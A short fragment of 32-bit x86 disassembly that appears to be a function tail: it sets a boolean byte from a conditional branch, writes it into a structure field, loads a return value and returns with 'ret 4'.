je 0x1004c375
mov byte [ebp - 2], 1
jmp 0x1004c379
mov byte [ebp - 2], 0
mov edx, dword [ebp - 8]
mov al, byte [ebp - 2]
mov byte [edx + 1], al
mov ecx, dword [ebp - 8]
mov al, byte [ecx]
mov esp, ebp
pop ebp
ret 4